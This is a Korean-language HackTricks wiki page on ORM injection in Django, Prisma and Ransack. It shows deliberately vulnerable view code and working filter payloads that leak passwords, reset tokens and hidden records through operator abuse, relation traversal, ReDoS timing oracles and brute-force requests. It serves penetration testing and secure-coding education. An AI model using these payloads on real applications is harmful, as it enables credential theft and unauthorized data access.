mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
301 lines
9.6 KiB
Markdown
301 lines
9.6 KiB
Markdown
# ORM Injection
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|
|
|
|
## Django ORM (Python)
|
|
|
|
In [**this post**](https://www.elttam.com/blog/plormbing-your-django-orm/)는 Django ORM을 취약하게 만드는 방법을 설명합니다. 예를 들어 다음과 같은 코드를 사용하여:
|
|
|
|
<pre class="language-python"><code class="lang-python">class ArticleView(APIView):
|
|
"""
|
|
사용자가 기사 검색을 위해 요청을 보내는 기본 API 뷰
|
|
"""
|
|
def post(self, request: Request, format=None):
|
|
try:
|
|
<strong> articles = Article.objects.filter(**request.data)
|
|
</strong> serializer = ArticleSerializer(articles, many=True)
|
|
except Exception as e:
|
|
return Response([])
|
|
return Response(serializer.data)
|
|
</code></pre>
|
|
|
|
모든 request.data(이는 json이 될 것입니다)가 **데이터베이스에서 객체를 필터링하는 데** 직접 전달되는 방식을 주목하십시오. 공격자는 예상보다 더 많은 데이터를 유출하기 위해 예상치 못한 필터를 보낼 수 있습니다.
|
|
|
|
예시:
|
|
|
|
- **로그인:** 간단한 로그인에서 내부에 등록된 사용자의 비밀번호를 유출하려고 시도합니다.
|
|
```json
|
|
{
|
|
"username": "admin",
|
|
"password_startswith": "a"
|
|
}
|
|
```
|
|
> [!CAUTION]
|
|
> 비밀번호를 무차별 대입하여 유출될 때까지 시도할 수 있습니다.
|
|
|
|
- **관계 필터링**: 예상치 못한 열에서 정보를 유출하기 위해 관계를 탐색할 수 있습니다. 예를 들어, 다음과 같은 관계를 가진 사용자가 생성한 기사를 유출할 수 있는 경우입니다: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
|
|
```json
|
|
{
|
|
"created_by__user__password__contains": "pass"
|
|
}
|
|
```
|
|
> [!CAUTION]
|
|
> 모든 기사를 작성한 사용자의 비밀번호를 찾는 것이 가능합니다.
|
|
|
|
- **다대다 관계 필터링**: 이전 예제에서는 기사를 작성하지 않은 사용자의 비밀번호를 찾을 수 없었습니다. 그러나 다른 관계를 따라가면 이는 가능합니다. 예를 들어: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
|
|
```json
|
|
{
|
|
"created_by__departments__employees__user_startswith": "admi"
|
|
}
|
|
```
|
|
> [!CAUTION]
|
|
> 이 경우, 우리는 기사를 작성한 사용자들의 부서에서 모든 사용자를 찾고 그들의 비밀번호를 유출할 수 있습니다 (이전 json에서는 사용자 이름만 유출하고 있지만, 이후에는 비밀번호를 유출할 수 있습니다).
|
|
|
|
- **Django 그룹 및 권한의 다대다 관계를 사용자와 악용하기**: 게다가, AbstractUser 모델은 Django에서 사용자를 생성하는 데 사용되며, 기본적으로 이 모델은 **Permission 및 Group 테이블과의 다대다 관계**를 가지고 있습니다. 이는 기본적으로 **같은 그룹에 있거나 동일한 권한을 공유하는 경우 한 사용자에서 다른 사용자에 접근하는 방법**입니다.
|
|
```bash
|
|
# By users in the same group
|
|
created_by__user__groups__user__password
|
|
|
|
# By users with the same permission
|
|
created_by__user__user_permissions__user__password
|
|
```
|
|
- **필터 제한 우회**: 동일한 블로그 게시물은 `articles = Article.objects.filter(is_secret=False, **request.data)`와 같은 일부 필터링을 우회할 것을 제안했습니다. is_secret=True인 기사를 덤프하는 것이 가능하며, 관계에서 Article 테이블로 다시 루프를 돌 수 있기 때문에 비밀 기사를 비밀이 아닌 기사에서 유출할 수 있습니다. 결과가 조인되고 is_secret 필드가 비밀이 아닌 기사에서 확인되는 동안 비밀 기사에서 데이터가 유출됩니다.
|
|
```bash
|
|
Article.objects.filter(is_secret=False, categories__articles__id=2)
|
|
```
|
|
> [!CAUTION]
|
|
> 관계를 악용하면 표시된 데이터를 보호하기 위한 필터를 우회할 수 있습니다.
|
|
|
|
- **오류/시간 기반 ReDoS**: 이전 예제에서는 필터링이 작동하는지 여부에 따라 다른 응답을 기대하여 이를 오라클로 사용했습니다. 그러나 데이터베이스에서 어떤 작업이 수행되고 응답이 항상 동일할 수 있습니다. 이 시나리오에서는 데이터베이스 오류를 발생시켜 새로운 오라클을 얻을 수 있습니다.
|
|
```json
|
|
// Non matching password
|
|
{
|
|
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
|
|
}
|
|
|
|
// ReDoS matching password (will show some error in the response or check the time)
|
|
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
|
|
```
|
|
- **SQLite**: 기본적으로 regexp 연산자가 없음 (서드파티 확장 로드 필요)
|
|
- **PostgreSQL**: 기본 regex 타임아웃이 없으며 백트래킹에 덜 취약함
|
|
- **MariaDB**: regex 타임아웃이 없음
|
|
|
|
## Prisma ORM (NodeJS)
|
|
|
|
다음은 [**이 게시물에서 추출한 트릭**](https://www.elttam.com/blog/plorming-your-primsa-orm/)입니다.
|
|
|
|
- **전체 찾기 제어**:
|
|
|
|
<pre class="language-javascript"><code class="lang-javascript">const app = express();
|
|
|
|
app.use(express.json());
|
|
|
|
app.post('/articles/verybad', async (req, res) => {
|
|
try {
|
|
// 공격자는 모든 prisma 옵션에 대한 전체 제어 권한을 가짐
|
|
<strong> const posts = await prisma.article.findMany(req.body.filter)
|
|
</strong> res.json(posts);
|
|
} catch (error) {
|
|
res.json([]);
|
|
}
|
|
});
|
|
</code></pre>
|
|
|
|
전체 자바스크립트 본문이 prisma에 전달되어 쿼리를 수행하는 것을 볼 수 있습니다.
|
|
|
|
원래 게시물의 예에서, 이는 누군가에 의해 생성된 모든 게시물을 확인하며 (각 게시물은 누군가에 의해 생성됨) 그 누군가의 사용자 정보 (사용자 이름, 비밀번호 등)도 반환합니다.
|
|
```json
|
|
{
|
|
"filter": {
|
|
"include": {
|
|
"createdBy": true
|
|
}
|
|
}
|
|
}
|
|
|
|
// Response
|
|
[
|
|
{
|
|
"id": 1,
|
|
"title": "Buy Our Essential Oils",
|
|
"body": "They are very healthy to drink",
|
|
"published": true,
|
|
"createdById": 1,
|
|
"createdBy": {
|
|
"email": "karen@example.com",
|
|
"id": 1,
|
|
"isAdmin": false,
|
|
"name": "karen",
|
|
"password": "super secret passphrase",
|
|
"resetToken": "2eed5e80da4b7491"
|
|
}
|
|
},
|
|
...
|
|
]
|
|
```
|
|
다음은 비밀번호가 있는 사용자가 생성한 모든 게시물을 선택하고 비밀번호를 반환합니다:
|
|
```json
|
|
{
|
|
"filter": {
|
|
"select": {
|
|
"createdBy": {
|
|
"select": {
|
|
"password": true
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
// Response
|
|
[
|
|
{
|
|
"createdBy": {
|
|
"password": "super secret passphrase"
|
|
}
|
|
},
|
|
...
|
|
]
|
|
```
|
|
- **전체 where 절 제어**:
|
|
|
|
공격자가 `where` 절을 제어할 수 있는 경우를 살펴보겠습니다:
|
|
|
|
<pre class="language-javascript"><code class="lang-javascript">app.get('/articles', async (req, res) => {
|
|
try {
|
|
const posts = await prisma.article.findMany({
|
|
<strong> where: req.query.filter as any // ORM Leak에 취약
|
|
</strong> })
|
|
res.json(posts);
|
|
} catch (error) {
|
|
res.json([]);
|
|
}
|
|
});
|
|
</code></pre>
|
|
|
|
사용자의 비밀번호를 직접 필터링하는 것이 가능합니다:
|
|
```javascript
|
|
await prisma.article.findMany({
|
|
where: {
|
|
createdBy: {
|
|
password: {
|
|
startsWith: "pas",
|
|
},
|
|
},
|
|
},
|
|
})
|
|
```
|
|
> [!CAUTION]
|
|
> `startsWith`와 같은 연산을 사용하면 정보를 유출할 수 있습니다.
|
|
|
|
- **다대다 관계 필터링 우회:**
|
|
```javascript
|
|
app.post("/articles", async (req, res) => {
|
|
try {
|
|
const query = req.body.query
|
|
query.published = true
|
|
const posts = await prisma.article.findMany({ where: query })
|
|
res.json(posts)
|
|
} catch (error) {
|
|
res.json([])
|
|
}
|
|
})
|
|
```
|
|
`Category` -\[\*..\*]-> `Article` 간의 다대다 관계를 통해 공개되지 않은 기사를 유출할 수 있습니다:
|
|
```json
|
|
{
|
|
"query": {
|
|
"categories": {
|
|
"some": {
|
|
"articles": {
|
|
"some": {
|
|
"published": false,
|
|
"{articleFieldToLeak}": {
|
|
"startsWith": "{testStartsWith}"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
모든 사용자를 유출하는 것도 가능하다, 일부 루프백 다대다 관계를 악용하여:
|
|
```json
|
|
{
|
|
"query": {
|
|
"createdBy": {
|
|
"departments": {
|
|
"some": {
|
|
"employees": {
|
|
"some": {
|
|
"departments": {
|
|
"some": {
|
|
"employees": {
|
|
"some": {
|
|
"departments": {
|
|
"some": {
|
|
"employees": {
|
|
"some": {
|
|
"{fieldToLeak}": {
|
|
"startsWith": "{testStartsWith}"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
```
|
|
- **Error/Timed queries**: 원본 게시물에서는 시간 기반 페이로드를 사용하여 정보를 유출하기 위한 최적의 페이로드를 찾기 위해 수행된 매우 광범위한 테스트 세트를 읽을 수 있습니다. 이는:
|
|
```json
|
|
{
|
|
"OR": [
|
|
{
|
|
"NOT": {ORM_LEAK}
|
|
},
|
|
{CONTAINS_LIST}
|
|
]
|
|
}
|
|
```
|
|
`{CONTAINS_LIST}`는 올바른 leak이 발견되었을 때 **응답이 지연되도록** 1000개의 문자열로 구성된 목록입니다.
|
|
|
|
## **Ransack (Ruby)**
|
|
|
|
이러한 트릭은 [**이 게시물에서 발견되었습니다**](https://positive.security/blog/ransack-data-exfiltration)**.**
|
|
|
|
> [!TIP]
|
|
> **Ransack 4.0.0.0은 이제 검색 가능한 속성과 연관성에 대해 명시적인 허용 목록 사용을 강제합니다.**
|
|
|
|
**취약한 예:**
|
|
```ruby
|
|
def index
|
|
@q = Post.ransack(params[:q])
|
|
@posts = @q.result(distinct: true)
|
|
end
|
|
```
|
|
공격자가 보낸 매개변수에 의해 쿼리가 정의된다는 점에 유의하세요. 예를 들어, 다음과 같이 재설정 토큰을 무차별 대입할 수 있었습니다:
|
|
```http
|
|
GET /posts?q[user_reset_password_token_start]=0
|
|
GET /posts?q[user_reset_password_token_start]=1
|
|
...
|
|
```
|
|
무차별 대입 공격과 잠재적인 관계를 통해 데이터베이스에서 더 많은 데이터를 유출할 수 있었습니다.
|
|
|
|
## References
|
|
|
|
- [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
|
|
- [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
|
|
- [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
|
|
|
|
{{#include ../banners/hacktricks-training.md}}
|